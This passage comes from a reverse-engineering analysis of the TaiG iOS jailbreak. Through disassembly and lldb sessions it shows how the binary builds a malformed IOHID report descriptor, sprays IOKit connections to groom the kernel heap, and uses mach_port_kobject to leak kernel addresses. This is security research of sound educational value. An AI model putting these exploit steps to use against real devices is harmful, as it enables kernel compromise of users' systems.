00 00 00 00 00 ................ 0x137600260: 00 00 00 00 00 00 00 00 08 00 00 00 02 00 00 00 ................ 0x137600270: ff 00 00 00 02 00 00 00 08 00 00 00 01 00 00 00 ................ 0x137600280: 03 00 00 00 01 00 00 00 01 00 00 00 00 00 00 00 ................ 0x137600290: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0x1376002a0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0x1376002b0: 01 00 00 00 08 00 00 00 00 08 00 00 08 00 00 00 ................ 0x1376002c0: 02 00 00 00 08 00 00 00 00 08 00 00 08 00 00 00 ................ 0x1376002d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0x1376002e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0x1376002f0: 00 00 00 00 00 00 00 00 00 00 00 00 fe ff ff ff ................

The HIDPreParsedData gets passed to 45, which takes sp_0088 (still null) as a second argument. When it returns, the HIDPreParsedData is unmodified, but sp_0088 is now populated. Recall this was memset to 0x30 bytes (the next var is sp_00b8):

(lldb) mem read "$sp + 0x88" 0x16fdbcc88: 00 00 00 00 fe ff ff ff 01 00 00 00 00 01 00 00 ................ 0x16fdbcc98: 01 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 ................ 0x16fdbcca8: 00 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 ................

For now, this is put aside, as we put our messed up descriptor to good use.

Creating the fake device

So, we have a descriptor. What do we do with it? Create a fake device, of course:

10000e52c aa1503e0 *MOV X0, X21 10000e530 aa1703e1 *MOV X1, X23 10000e534 aa1803e2 *MOV X2, X24 10000e538 97ffe971 BL _create_fake_IOHID_device(40) ; 0x100008afc 10000e53c b9000660 STR W0, [X19, #4] 10000e540 34001de0 CBZ X0, outta_here ; 0x10000e8fc

Going into the function, we see something curious:

_create_fake_IOHID_device(40): 100008afc a9ba6ffc STP X28, X27, [SP,#-96]! 100008b00 a90167fa STP X26, X25, [SP,#16] 100008b04 a9025ff8 STP X24, X23, [SP,#32] 100008b08 a90357f6 STP X22, X21, [SP,#48] 100008b0c a9044ff4 STP X20, X19, [SP,#64] 100008b10 a9057bfd STP X29, X30, [SP,#80] 100008b14 910143fd ADD X29, SP, #80 100008b18 d11103ff SUB X31, X31, #1088 100008b1c aa0203f6 *MOV X22, X2 100008b20 aa0103f5 *MOV X21, X1 100008b24 aa0003f4 *MOV X20, X0 100008b28 910043f9 ADD X25, SP, #16 100008b2c d503201f NOP 100008b30 5809a81a LDR X26, #19776 libSystem.B.dylib::___stack_chk_guard 100008b34 f9400348 LDR X8, [X26, #0] 100008b38 f9000328 STR X8, [X25, #0] 100008b3c f9001bff STR XZR, [SP, #48] 100008b40 29057fff STP WZR, WZR, [SP,#40] 100008b44 f90013ff STR XZR, [SP, #32] 100008b48 b9001fff STR WZR, [SP, #28] 100008b4c d503201f NOP 100008b50 5809a9c8 LDR X8, #19790 libSystem.B.dylib::_mach_task_self_ 100008b54 b9400100 LDR W0, [X8, #0] 100008b58 910073e2 ADD X2, SP, #28 100008b5c 910083e3 ADD X3, SP, #32 100008b60 aa1403e1 *MOV X1, X20 100008b64 9400415a BL libSystem.B.dylib::_mach_port_kobject ; 0x1000190cc 100008b68 52800017 MOVZ W23, #0 100008b6c 35000d20 CBNZ X0, _failed ; 0x100008d10 100008b70 d503201f NOP 100008b74 5809a6e8 LDR X8, #19767 CoreFoundation::_kCFAllocatorDefault 100008b78 f9400117 LDR X23, [X8, #0] 100008b7c d2800001 MOVZ X1, #0 100008b80 d503201f NOP ..

What's that, you say? mach_port_kobject ? Isn't that the SAME FUNCTION THAT ISN'T SUPPOSED TO BE IMPLEMENTED UNLESS #define MACH_DEBUG? Isn't that the same function APPLE GOT HIT WITH IN THE PAST?. This wouldn't be demanding of caps, if not for the following nugget, from Apple's Security Content of 8.1.3:

So, yes. "addressed by disabling" a function that the #define s of XNU do not enable by default in production configurations anyway. You can see that TaiG would fail if the function were indeed disabled. Does it? Set a breakpoint and see..

(lldb) b mach_port_kobject Breakpoint 8: where = libsystem_kernel.dylib`mach_port_kobject, address = 0x0000000197d31ed0 (lldb) c Process 321 resuming Process 321 stopped * thread #1: tid = 0x1be9, 0x0000000197d31ed0 libsystem_kernel.dylib`mach_port_kobject, queue = 'com.apple.main-thread', stop reason = breakpoint 8.1 frame #0: 0x0000000197d31ed0 libsystem_kernel.dylib`mach_port_kobject libsystem_kernel.dylib`mach_port_kobject: -> 0x197d31ed0: b 0x197d2435c ; _kernelrpc_mach_port_kobject libsystem_kernel.dylib`mach_port_unguard: 0x197d31ed4: stp x22, x21, [sp, #-48]! 0x197d31ed8: stp x20, x19, [sp, #16] 0x197d31edc: stp fp, lr, [sp, #32] (lldb) reg read x0 x1 x2 x3 x0 = 0x0000000000000103 # ipc_state_t task = mach_task_self x1 = 0x0000000000000b0b # Good old b0b, dependable IOHIDResource that he is x2 = 0x000000016fdbc77c # Out: object_type x3 = 0x000000016fdbc780 # Out: object_addr (lldb) mem read $x2 0x16fdbc77c: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0x16fdbc78c: 00 00 00 00 00 00 00 00 00 00 00 00 28 ca db 6f ............(..o # Proceeding with caution (lldb) stepi ... (lldb) thread step-out Process 321 stopped * thread #1: tid = 0x1be9, 0x0000000100044b68 taig.2.4.3`___lldb_unnamed_function40$$taig.2.4.3 + 108, queue = 'com.apple.main-thread', stop reason = step out frame #0: 0x0000000100044b68 taig.2.4.3`___lldb_unnamed_function40$$taig.2.4.3 + 108 taig.2.4.3`___lldb_unnamed_function40$$taig.2.4.3 + 108: -> 0x100044b68: movz w23, #0 0x100044b6c: cbnz w0, 0x100044d10 ; ___lldb_unnamed_function40$$taig.2.4.3 + 532 0x100044b70: nop 0x100044b74: ldr x8, #79068 ; (void *)0x000000018590e070: kCFAllocatorDefault # For a disabled function, mach_port_kobject still indicates success (lldb) reg read x0 x0 = 0x0000000000000000 # .. and still works remarkably well (lldb) mem read 0x16fdbc77c 0x16fdbc77c: 1d 00 00 00 95 ea 80 14 e4 06 6b 6f 00 00 00 00 ..........ko.... 0x16fdbc78c: 00 00 00 00 00 00 00 00 00 00 00 00 28 ca db 6f ............(..o

Notice that the check of the return value (X0) would flush the entire effort down the drain, by bailing. Meaning that an ounce of defence in depth would have prevented this. But. well.. no.

To create the fake device, we call on friend 0xb0b, using another abomination, IOKit::_IOConnectCallMethod , and packaging our report descriptor in an XML plist..

(lldb) b IOConnectCallMethod Breakpoint 9: where = IOKit`IOConnectCallMethod, address = 0x0000000186a55ef4 (lldb) c Process 321 resuming Process 321 stopped * thread #1: tid = 0x1be9, 0x0000000186a55ef4 IOKit`IOConnectCallMethod, queue = 'com.apple.main-thread', stop reason = breakpoint 9.1 frame #0: 0x0000000186a55ef4 IOKit`IOConnectCallMethod IOKit`IOConnectCallMethod: -> 0x186a55ef4: stp x20, x19, [sp, #-32]! 0x186a55ef8: stp fp, lr, [sp, #16] 0x186a55efc: add fp, sp, #16 0x186a55f00: sub sp, sp, #80 (lldb) reg read x0 x1 x2 x3 x4 x5 x6 x7 x0 = 0x0000000000000b0b mach_port_t connection, // In x1 = 0x0000000000000000 uint32_t selector, // In x2 = 0x000000016fdbc790 const uint64_t *input, // In x3 = 0x0000000000000001 uint32_t inputCnt, // In x4 = 0x000000016fdbc798 const void *inputStruct, // In x5 = 0x00000000000001cb size_t inputStructCnt, // In x6 = 0x0000000000000000 uint64_t *output, // Out x7 = 0x0000000000000000 uint32_t *outputCnt, // In/Out SP void *outputStruct, // Out SP + 8 void *outputStructCntP); // Out (lldb) mem read 16fdbc790 0x16fdbc790: 00 00 00 00 00 00 00 00 3c 3f 78 6d 6c 20 76 65 ........ .< 0x16fdbc7c0: 21 44 4f 43 54 59 50 45 20 70 6c 69 73 74 20 50 !DOCTYPE plist P 0x16fdbc7d0: 55 42 4c 49 43 20 22 2d 2f 2f 41 70 70 6c 65 2f UBLIC "-//Apple/ 0x16fdbc7e0: 2f 44 54 44 20 50 4c 49 53 54 20 31 2e 30 2f 2f /DTD PLIST 1.0// 0x16fdbc7f0: 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e EN" "http://www. 0x16fdbc800: 61 70 70 6c 65 2e 63 6f 6d 2f 44 54 44 73 2f 50 apple.com/DTDs/P 0x16fdbc810: 72 6f 70 65 72 74 79 4c 69 73 74 2d 31 2e 30 2e ropertyList-1.0. 0x16fdbc820: 64 74 64 22 3e 0a 3c 70 6c 69 73 74 20 76 65 72 dtd">.<plist ver 0x16fdbc830: 73 69 6f 6e 3d 22 31 2e 30 22 3e 0a 3c 64 69 63 sion="1.0">.<dic 0x16fdbc840: 74 3e 0a 09 3c 6b 65 79 3e 52 65 70 6f 72 74 44 t>..<key>ReportD 0x16fdbc850: 65 73 63 72 69 70 74 6f 72 3c 2f 6b 65 79 3e 0a escriptor</key>. 0x16fdbc860: 09 3c 64 61 74 61 3e 0a 09 42 2f 37 2f 2f 2f 38 .<data>..B/7///8 0x16fdbc870: 6e 2f 2f 2f 2f 2f 78 66 2f 2f 2f 2f 2f 52 2f 2f n/////xf/////R// 0x16fdbc880: 2f 2f 2f 38 33 2f 2f 2f 2f 2f 36 63 41 41 41 41 ///83/////6cAAAA 0x16fdbc890: 41 74 77 41 41 41 41 43 6a 2f 66 2f 2f 2f 77 63 AtwAAAACj/f///wc 0x16fdbc8a0: 41 41 41 41 41 43 67 41 41 4a 77 41 41 0a 09 41 AAAAACgAAJwAA..A 0x16fdbc8b0: 41 41 58 41 41 41 41 41 45 63 41 41 41 41 41 4e AAXAAAAAEcAAAAAN 0x16fdbc8c0: 77 41 41 41 41 42 6e 41 41 41 41 41 46 63 41 41 wAAAABnAAAAAFcAA 0x16fdbc8d0: 41 41 41 64 77 67 41 41 41 43 58 2f 77 41 41 41 AAAdwgAAACX/wAAA 0x16fdbc8e0: 49 63 42 41 41 41 41 6b 77 4d 41 41 41 41 48 41 IcBAAAAkwMAAAAHA 0x16fdbc8f0: 41 41 41 0a 09 41 41 6f 41 41 43 63 41 41 41 41 AAA..AAoAACcAAAA 0x16fdbc900: 41 46 77 41 41 41 41 42 48 41 41 41 41 41 44 63 AFwAAAABHAAAAADc 0x16fdbc910: 41 41 41 41 41 5a 77 41 41 41 41 42 58 41 41 41 AAAAAZwAAAABXAAA 0x16fdbc920: 41 41 48 63 49 41 41 41 41 6c 2f 38 41 41 41 43 AAHcIAAAAl/8AAAC 0x16fdbc930: 48 41 67 41 41 41 4a 4d 44 0a 09 41 41 41 41 77 HAgAAAJMD..AAAAw 0x16fdbc940: 77 41 41 41 41 41 3d 0a 09 3c 2f 64 61 74 61 3e wAAAAA=..</data> 0x16fdbc950: 0a 3c 2f 64 69 63 74 3e 0a 3c 2f 70 6c 69 73 74 .</dict>.</plist 0x16fdbc960: 3e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 >...............

I'm sure you'll believe me that the ucky plist is, indeed, the descriptor (you can always Base64 decode it :-). Selector "0" is _createDevice , and if you break right after it and run ioreg -l -w 0 -f you should see:

| +-o IOHIDResourceDeviceUserClient | | { | | "IOUserClientCreator" = "pid 321, taig.2.4.3" | | } | | | +-o IOHIDUserDevice | | { | | "MaxOutputReportSize" = 256 | | "InputReportElements" = ({"ReportID"=1,"ElementCookie"=514,"Size"=8,"ReportCount"=1,"Type"=1,"UsagePage"=0,"ReportSize"=8,"Usage"=0},{"ReportID"=2,"ElementCookie"=515,"Size"=8,"ReportCount"=1,"Type"=1,"UsagePage"=0,"ReportSize"=8,"Usage"=0}) | | "IOCFPlugInTypes" = {"7DDEECA8-A7B4-11DA-8A0E-0014519758EF"="IOHIDFamily.kext/PlugIns/IOHIDLib.plugin","40A57A4E-26A0-11D8-9295-000A958A2C78"="IOHIDFamily.kext/PlugIns/IOHIDLib.plugin","FA12FA38-6F1A-11D4-BA0C-0005028F18D5"="IOHIDFamily.kext/PlugIns/IOHIDLib.plugin"} | | "IOUserClientClass" = "IOHIDLibUserClient" | | "PrimaryUsage" = 0 | | "DeviceUsagePairs" = ({"DeviceUsagePage"=18446744073709551614,"DeviceUsage"=0}) | | "HIDDefaultBehavior" = Yes | | "ReportInterval" = 8000 | | "ReportDescriptor" = | | 00000000: 07 FE FF FF FF 27 FF FF FF FF 17 FF FF FF FF 47 FF FF FF FF 37 FF FF FF FF A7 00 00 00 00 B7 00 .....'.........G....7........... | | 00000020: 00 00 00 A3 FD FF FF FF 07 00 00 00 00 0A 00 00 27 00 00 00 00 17 00 00 00 00 47 00 00 00 00 37 ................'.........G....7 | | 00000040: 00 00 00 00 67 00 00 00 00 57 00 00 00 00 77 08 00 00 00 97 FF 00 00 00 87 01 00 00 00 93 03 00 ....g....W....w................. | | 00000060: 00 00 07 00 00 00 00 0A 00 00 27 00 00 00 00 17 00 00 00 00 47 00 00 00 00 37 00 00 00 00 67 00 ..........'.........G....7....g. | | 00000080: 00 00 00 57 00 00 00 00 77 08 00 00 00 97 FF 00 00 00 87 02 00 00 00 93 03 00 00 00 C3 00 00 00 ...W....w....................... | | 000000A0: 00 . | | "Elements" = ({"ReportID"=0,"ElementCookie"=1,"CollectionType"=18446744073709551613,"Type"=513, "Elements"=({"UnitExponent"=0,"IsRelative"=No,"UsagePage"=0,"Max"=0,"IsArray"=No,"Min"=0,"Type"=129, "Size"=2040,"Flags"=3,"ReportID"=1,"Usage"=0,"ReportCount"=255,"Unit"=0,"HasNullState"=No,"IsNonLinear" =No,"HasPreferredState"=Yes,"ReportSize"=8,"ScaledMin"=0,"IsWrapping"=No,"ScaledMax"=0,"ElementCookie"=2}, {"UnitExponent"=0,"IsRelative"=No,"DuplicateIndex"=0,"UsagePage"=0,"Max"=0,"IsArray"=No,"Min"=0,"Type"=129, "Size"=8,"Flags"=3,"ReportID"=1,"Usage"=0,"ReportCount"=1,"Unit"=0,"HasNullState"=No,"IsNonLinear"=No, "HasPreferredState"=Yes,"ReportSize"=8,"ScaledMin"=0,"IsWrapping"=No,"ScaledMax"=0,"ElementCookie"=3}, {"UnitExponent"=0,"IsRelative"=.. .. .. (lots and lots and lots of Duplicate Indexes) .. {"UnitExponent"=0,"IsRelative"=No,"DuplicateIndex"=254,"UsagePage"=0,"Max"=0,"IsArray"=No,"Min"=0, "Type"=129,"Size"=8,"Flags"=3,"ReportID"=2,"Usage"=0,"ReportCount"=1,"Unit"=0,"HasNullState"=No, "IsNonLinear"=No,"HasPreferredState"=Yes,"ReportSize"=8,"ScaledMin"=0,"IsWrapping"=No,"ScaledMax"=0, "ElementCookie"=513}),"UsagePage"=18446744073709551614,"Usage"=0}) | | "MaxFeatureReportSize" = 1 | | "PrimaryUsagePage" = 18446744073709551614 | | "MaxInputReportSize" = 1 | | } | | | +-o IOHIDInterface | { | "PrimaryUsagePage" = 18446744073709551614 | "HIDDefaultBehavior" = Yes | "ReportInterval" = 8000 | "PrimaryUsage" = 0 | "DeviceUsagePairs" = ({"DeviceUsagePage"=18446744073709551614,"DeviceUsage"=0}) | } | ...

There you have it. (Yet another) bug in IOHID, which allows you to create descriptors, as far as the eye can see. Bounds checking? Nah. It's all PreParsed anyway. But wait. There's more -- we're only getting warmed up here.

Exhausting IOKit

With our device created, it's time to go for the real prize - kernel memory. Always a good start - IOConnectMapMemory :

10000e544 aa1303e4 *MOV X4, X19 10000e548 b8410480 -LDR W0, [X4], #16 => 0x100000cfeedfacf 10000e54c d503201f NOP 10000e550 5806d9c8 LDR X8, #14030 libSystem.B.dylib::_mach_task_self_ 10000e554 b9400102 LDR W2, [X8, #0] 10000e558 91002263 ADD X3, X19, #8 0x7 10000e55c 52800001 MOVZ W1, #0 10000e560 320003e5 ORR W5, WZR, #0x1 10000e564 940029ed BL IOKit::_IOConnectMapMemory ; 0x100018d18 ; R0 = IOKit::_IOConnectMapMemory((mach port),0,(mach port),SP+0x8,SP+0x10,1); ;

This will map memory and return a pointer to somewhere, of 0x4030 bytes. Put that aside, too

What follows is a call to srand(time()) because we'll need some (non-cryptographically secure) random numbers a bit later on. New variables appear, though I've already accounted them in the Stack Setup explanation, above. Our focus now becomes assaulting IOKit:

assault_IOKit: 10000e5e0 b90063f8 STR W24, [SP, #96] ; ? 10000e5e4 aa0803e1 *MOV X1, X8 10000e5e8 94002a05 BL IOKit::_IOServiceGetMatchingService ; 0x100018dfc ; R0 = IOKit::_IOServiceGetMatchingService((mach port),? - 4096); ; 10000e5ec aa0003fb *MOV X27, X0 10000e5f0 3400183b CBZ X27, return_-1 ; 0x10000e8f4 10000e5f4 94000207 BL _query_kernel_zone_allocations(127) ; 0x10000ee10 10000e5f8 1007e8f8 ADR x24, 64796 10000e5fc d503201f NOP 10000e600 39400308 LDRB W8, [X24] 10000e604 36000068 TBZ W8, #0, force_GC ; 0x10000e610 10000e608 52801415 MOVZ W21, #160 10000e60c 14000005 B after_GC_or_no_GC ; 0x10000e620 force_GC: 10000e610 94002aa3 BL libSystem.B.dylib::_mach_host_self ; 0x10001909c 10000e614 94002ab1 BL libSystem.B.dylib::_mach_zone_force_gc ; 0x1000190d8 10000e618 39000315 STRB W21, [X24] 10000e61c 5280c815 MOVZ W21, #1600 after_GC_or_no_GC: 10000e620 940001fc BL _query_kernel_zone_allocations(127) ; 0x10000ee10 10000e624 52800018 MOVZ W24, #0 exhaust_IOKit_By_opening_w21_descriptors: 10000e628 b9400281 LDR W1, [X20, #0] 10000e62c 52800002 MOVZ W2, #0 10000e630 aa1b03e0 *MOV X0, X27 10000e634 aa1703e3 *MOV X3, X23 10000e638 940029fa BL IOKit::_IOServiceOpen ; 0x100018e20 ; R0 = IOKit::_IOServiceOpen((mach port),(mach port),0,0x100000cfeedfbbb); ; 10000e63c 35001580 CBNZ X0, release_object_and_fail ; 0x10000e8ec 10000e640 11000718 ADD W24, W24, #1 0x1 10000e644 6b15031f CMP W24, W21 10000e648 54ffff0b B.LT exhaust_IOKit_By_opening_w21_descriptors ; 0x10000e628 ready_for_more: 10000e64c 940001f1 BL _query_kernel_zone_allocations(127) ; 0x10000ee10 10000e650 52800015 MOVZ W21, #0 10000e654 aa1603f8 *MOV X24, X22 more_IOKIT_torture_(0x420 descriptors): 10000e658 b9400281 LDR W1, [X20, #0] 10000e65c 52800002 MOVZ W2, #0 10000e660 aa1b03e0 *MOV X0, X27 10000e664 aa1803e3 *MOV X3, X24 10000e668 940029ee BL IOKit::_IOServiceOpen ; 0x100018e20 ; R0 = IOKit::_IOServiceOpen((mach port),(mach port),0,0x100000cfeee53b7); ; 10000e66c 35001400 CBNZ X0, release_object_and_fail ; 0x10000e8ec 10000e670 110006b5 ADD W21, W21, #1 0x1 10000e674 91001318 ADD X24, X24, #4 0x100000cfeee53bb 10000e678 d2820e08 MOVZ X8, #4208 10000e67c aa1903e9 *MOV X9, X25 10000e680 71107ebf CMP W21, #1055 10000e684 54fffead B.LE more_IOKIT_torture_(0x420 descriptors) ; 0x10000e658

We first establish a handle to IOPMRootDomain . Then, through not one but two runs, we call IOServiceOpen either 160 or 1600 times - discarding the result ( sp_00ec down there gets overwritten). The second time, however, we keep each and every one of the 1056 handles that we get, at sp_58e8 (That's 1056 x 4 for 4224 (0x1080) bytes total, up to sp_6968 ). Placing a breakpoint right after this stressful loop, we find:

# Note I had to reboot, so ASLR kicked in (didn't disable it) and now addresses are different.. # But we want e668 - so that becomes b6668 (remember slide is an integer # of pages), and the sp is still aligned to c00 (lldb) reg read $sp sp = 0x000000016fd50c00 # So sp_58e8 == 0x000000016fd564e8 (lldb) b 0x1000b6688 Breakpoint 8: where = taig.2.4.3`___lldb_unnamed_function123$$taig.2.4.3 + 700, address = 0x00000001000b6688 (lldb) c Process 335 resuming Process 335 stopped * thread #1: tid = 0x8366, 0x00000001000b6688 taig.2.4.3`___lldb_unnamed_function123$$taig.2.4.3 + 700, queue = 'com.apple.main-thread', stop reason = breakpoint 8.1 frame #0: 0x00000001000b6688 taig.2.4.3`___lldb_unnamed_function123$$taig.2.4.3 + 700 taig.2.4.3`___lldb_unnamed_function123$$taig.2.4.3 + 700: -> 0x1000b6688: ldr q0, [x22, x8] 0x1000b668c: rev64.4s v0, v0 0x1000b6690: ext.16b v0, v0, v0, #8 0x1000b6694: str d0, [x9] (lldb) mem read "$sp + 0x58e8" 0x16fd564e8: 03 4e 06 00 03 4f 06 00 03 50 06 00 03 51 06 00 .N...O...P...Q.. 0x16fd564f8: 03 52 06 00 03 53 06 00 03 54 06 00 03 55 06 00 .R...S...T...U.. 0x16fd56508: 03 56 06 00 03 57 06 00 03 58 06 00 03 59 06 00 .V...W...X...Y.. 0x16fd56518: 03 5a 06 00 03 5b 06 00 03 5c 06 00 03 5d 06 00 .Z...[...\...].. 0x16fd56528: 03 5e 06 00 03 5f 06 00 03 60 06 00 03 61 06 00 .^..._...`...a.. 0x16fd56538: 03 62 06 00 03 63 06 00 03 64 06 00 03 65 06 00 .b...c...d...e.. 0x16fd56548: 03 66 06 00 03 67 06 00 03 68 06 00 03 69 06 00 .f...g...h...i.. 0x16fd56558: 03 6a 06 00 03 6b 06 00 03 6c 06 00 03 6d 06 00 .j...k...l...m.. (lldb) print $x9 - $sp (unsigned long) $7 = 16616 # sp_40e8

We then use a couple of SIMD/FP instructions which jtool doesn't support (yet - I know, I'm working on it - it's just that they're quite rare). These flip around the list of ports from sp_58e8 to an array at sp_40e8 which x9 obtained from x25). Starting from 0x1070 (4208, loaded into x8) we iterate downwards by 16 at a time, till 0x0070. If you want to see this for yourself, you'll have to clear the breakpoint we had just set at 0x1000e688, because it's the beginning of a loop, and set one right after it:

(lldb) b 0x1000b66b0 Breakpoint 9: where = taig.2.4.3`___lldb_unnamed_function123$$taig.2.4.3 + 740, address = 0x00000001000b66b0 (lldb) breakpoint delete 8 1 breakpoints deleted; 0 breakpoint locations disabled. (lldb) c Process 335 resuming Process 335 stopped * thread #1: tid = 0x8366, 0x00000001000b66b0 taig.2.4.3`___lldb_unnamed_function123$$taig.2.4.3 + 740, queue = 'com.apple.main-thread', stop reason = breakpoint 9.1 frame #0: 0x00000001000b66b0 taig.2.4.3`___lldb_unnamed_function123$$taig.2.4.3 + 740 taig.2.4.3`___lldb_unnamed_function123$$taig.2.4.3 + 740: -> 0x1000b66b0: mov x0, x27 0x1000b66b4: bl 0x1000c0d84 ; symbol stub for: IOObjectRelease 0x1000b66b8: ldr w0, [x20] 0x1000b66bc: ldr x8, [sp, #104] (lldb) reg read $x8 $x9 x8 = 0x0000000000000070 x9 = 0x000000016fd55ce8 (lldb) mem read "$sp + 0x40e8" 0x16fd54ce8: 03 6d 0a 00 03 6c 0a 00 03 6b 0a 00 03 6a 0a 00 .m...l...k...j.. 0x16fd54cf8: 03 69 0a 00 03 68 0a 00 03 67 0a 00 03 66 0a 00 .i...h...g...f.. 0x16fd54d08: 03 65 0a 00 03 64 0a 00 03 63 0a 00 03 62 0a 00 .e...d...c...b.. 0x16fd54d18: 03 61 0a 00 03 60 0a 00 03 5f 0a 00 03 5e 0a 00 .a...`..._...^.. 0x16fd54d28: 03 5d 0a 00 03 5c 0a 00 03 5b 0a 00 03 5a 0a 00 .]...\...[...Z.. 0x16fd54d38: 03 59 0a 00 03 58 0a 00 03 57 0a 00 03 56 0a 00 .Y...X...W...V.. 0x16fd54d48: 03 55 0a 00 03 54 0a 00 03 53 0a 00 03 52 0a 00 .U...T...S...R.. 0x16fd54d58: 03 51 0a 00 03 50 0a 00 03 4f 0a 00 03 4e 0a 00 .Q...P...O...N..

After this, we can release that IOPMRootDomain handle, and go visit another old friend.

mach_port_kobject returns

Turns out TaiG use mach_port_kobject again. In fact, they do so a lot. What follows is a loop of calling it on the handles obtained by exhausting IOKit:

10000e6b8 b9400280 LDR W0, [X20, #0] 10000e6bc f94037e8 LDR X8, [X31, #104] ? 10000e6c0 b950011c LDR W28, [X8, #4096] ? 10000e6c4 9101f3e2 ADD X2, SP, #124 10000e6c8 9103c3fb ADD X27, SP, #240 10000e6cc aa1c03e1 *MOV X1, X28 10000e6d0 aa1b03e3 *MOV X3, X27 10000e6d4 94002a7e BL libSystem.B.dylib::_mach_port_kobject ; 0x1000190cc 10000e6d8 350006e0 CBNZ X0, mach_port_kobject_not_zero ; 0x10000e7b4 10000e6dc f9407be8 LDR X8, [X31, #240] ? 10000e6e0 f140051f CMP X8, #1 10000e6e4 54000689 B.LS mach_port_kobject_not_zero ; 0x10000e7b4 10000e6e8 b27e03f5 ORR X21, XZR, #0x4 10000e6ec aa1b03f8 *MOV X24, X27 10000e6f0 14000004 B start_mach_port_kobject_forcing ; 0x10000e700 mach_port_kobject_retry: 10000e6f4 b8756b3c LDR W28, [X25, X21 ...] 10000e6f8 91002318 ADD X24, X24, #8 0x100000cfeedfbc7 10000e6fc 910012b5 ADD X21, X21, #4 0x8 start_mach_port_kobject_forcing: 10000e700 b9400280 LDR W0, [X20, #0] 10000e704 9101f3e2 ADD X2, SP, #124 10000e708 aa1c03e1 *MOV X1, X28 10000e70c aa1803e3 *MOV X3, X24 10000e710 94002a6f BL libSystem.B.dylib::_mach_port_kobject ; 0x1000190cc 10000e714 94000499 BL _gets_mach_port_kobject_of_iomaster ; 0x10000f978 10000e718 f9400308 LDR X8, [X24, #0] 10000e71c cb000108 SUB X8, X8, X0 10000e720 f9000308 STR X8, [X24, #0] 10000e724 f14006bf CMP X21, #1 10000e728 54fffe61 B.NE mach_port_kobject_retry ; 0x10000e6f4 10000e72c d2800015 MOVZ X21, #0 10000e730 320003e8 ORR W8, WZR, #0x1 10000e734 10074278 ADR x24, 59468 @"%p %p %p %p" 10000e738 d503201f NOP 10000e73c 1007403c ADR x28, 59396 @"s %d" 10000e740 d503201f NOP print_loop_1: 10000e744 8b150f69 ADD X9, X27, X21, LSL #3 10000e748 a940252a LDP X10, X9, [X9,#0] 10000e74c cb0a0129 SUB X9, X9, X10 10000e750 f104013f CMP X9, #256 10000e754 54000061 B.NE 0x10000e760 ; 0x10000e760 10000e758 11000508 ADD W8, W8, #1 0x2 10000e75c 14000005 B 0x10000e770 ; 0x10000e770 10000e760 f90003e8 STR X8, [SP, #0] ; ? 10000e764 aa1c03e0 *MOV X0, X28 10000e768 940029b4 BL Foundation::_NSLog ; 0x100018e38 ; Foundation::_NSLog(@"s %d"); ; 10000e76c 320003e8 ORR W8, WZR, #0x1 10000e770 910006b5 ADD X21, X21, #1 0x1 10000e774 f10ffebf CMP X21, #1023 10000e778 54fffe61 B.NE print_loop_1 ; 0x10000e744 10000e77c 10073f20 ADR x0, 59364 @"alloc %d" 10000e780 d503201f NOP 10000e784 940029ad BL Foundation::_NSLog ; 0x100018e38 ; Foundation::_NSLog(@"alloc %d"); ; 10000e788 d2800015 MOVZ X21, #0 print_loop_2: 10000e78c 8b150368 ADD X8, X27, X21 10000e790 a9402909 LDP X9, X10, [X8,#0] 10000e794 a941210b LDP X11, X8, [X8,#16] 10000e798 a90123eb STP X11, X8, [SP,#16] 10000e79c a9002be9 STP X9, X10, [SP,#0] 10000e7a0 aa1803e0 *MOV X0, X24 10000e7a4 940029a5 BL Foundation::_NSLog ; 0x100018e38 ; Foundation::_NSLog(@"%p %p %p %p"); ; 10000e7a8 910082b5 ADD X21, X21, #32 0x20 10000e7ac f1400abf CMP X21, #2 10000e7b0 54fffee1 B.NE print_loop_2 ; 0x10000e78c mach_port_kobject_not_zero:

Setting a breakpoint on mach_port_kobject, we get:

(lldb) b mach_port_kobject Breakpoint 10: where = libsystem_kernel.dylib`mach_port_kobject, address = 0x0000000197889ed0 (lldb) c Process 335 resuming Process 335 stopped * thread #1: tid = 0x8366, 0x0000000197889ed0 libsystem_kernel.dylib`mach_port_kobject, queue = 'com.apple.main-thread', stop reason = breakpoint 10.1 frame #0: 0x0000000197889ed0 libsystem_kernel.dylib`mach_port_kobject libsystem_kernel.dylib`mach_port_kobject: -> 0x197889ed0: b 0x19787c35c ; _kernelrpc_mach_port_kobject libsystem_kernel.dylib`mach_port_unguard: 0x197889ed4: stp x22, x21, [sp, #-48]! 0x197889ed8: stp x20, x19, [sp, #16] 0x197889edc: stp fp, lr, [sp, #32] (lldb) reg read x0 x1 x2 x3 x0 = 0x0000000000000103 x1 = 0x00000000000a6d03 x2 = 0x000000016fd50c7c Out: object_type to sp_007c x3 = 0x000000016fd50cf0 Out: object_addr to sp_00f0

Setting a breakpoint on 0x1000e718, we have:

(lldb) Process 335 stopped * thread #1: tid = 0x8366, 0x00000001000b6718 taig.2.4.3`___lldb_unnamed_function123$$taig.2.4.3 + 844, queue = 'com.apple.main-thread', stop reason = instruction step into frame #0: 0x00000001000b6718 taig.2.4.3`___lldb_unnamed_function123$$taig.2.4.3 + 844 taig.2.4.3`___lldb_unnamed_function123$$taig.2.4.3 + 844: -> 0x1000b6718: ldr x8, [x24] 0x1000b671c: sub x8, x8, x0 0x1000b6720: str x8, [x24] 0x1000b6724: cmp x21, #4096 (lldb) reg read x0 x0 = 0xffffff8002535017

And that value of x0 there looks suspiciously like a (non slid) kernel address. So not only is mach_port_kobject alive and well (Thank you for asking), it's actually working as advertised. This loop repeats till 10000e72c, so we set a breakpoint there. Suddenly, the mach_port_kobject values don't look THAT obfuscated anymore:

